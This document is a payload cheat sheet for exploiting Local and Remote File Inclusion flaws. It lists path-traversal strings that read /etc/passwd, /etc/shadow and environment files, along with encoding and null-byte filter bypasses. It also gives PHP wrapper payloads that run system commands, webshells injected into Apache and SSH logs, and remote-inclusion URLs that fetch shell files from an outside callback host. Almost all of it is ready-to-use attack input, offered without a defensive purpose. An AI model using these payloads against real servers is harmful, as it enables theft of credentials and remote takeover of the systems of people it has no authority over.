Local and Remote File Inclusion exploitation techniques
Read local files on Linux systems using path traversal
Linux../../../etc/passwd
../../../../etc/passwd
../../../../../etc/shadow
/etc/passwd
/etc/hosts
/proc/self/environ
Read local files on Windows systems
Windows..\..\..\..\windows\win.ini
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
..\..\..\..\..\boot.ini
Bypass file extension checks (PHP < 5.3)
../../../etc/passwd%00
../../../../etc/passwd%00.jpg
/etc/passwd%00
Use URL encoding to bypass input filters
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
Bypass extension checks via path truncation
../../../etc/passwd............[ADD MORE DOTS]
../../../etc/passwd/./././././[ADD MORE]
Use PHP filters to read and encode files
PHPphp://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php
php://filter/convert.iconv.utf-8.utf-16/resource=index.php
Execute code via php://input wrapper
PHPphp://input
POST data: <?php system('whoami'); ?>
Execute code via data:// wrapper
PHPdata://text/plain,
data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=
Poison Apache log files to execute code
Apache../../../../../../var/log/apache2/access.log
../../../../../../var/log/apache2/error.log
Inject PHP in User-Agent: <?php system($_GET['c']); ?>
Poison SSH authentication logs
../../../../../../var/log/auth.log
SSH with username: <?php system($_GET['c']); ?>
Include PHP session files for code execution
PHP/var/lib/php/sessions/sess_[SESSIONID]
../../../../../../tmp/sess_[SESSIONID]
Include remote malicious files for code execution
http://callback.l4ughingm4n.dev/shell.txt
https://callback.l4ughingm4n.dev/shell.php
//callback.l4ughingm4n.dev/shell.txt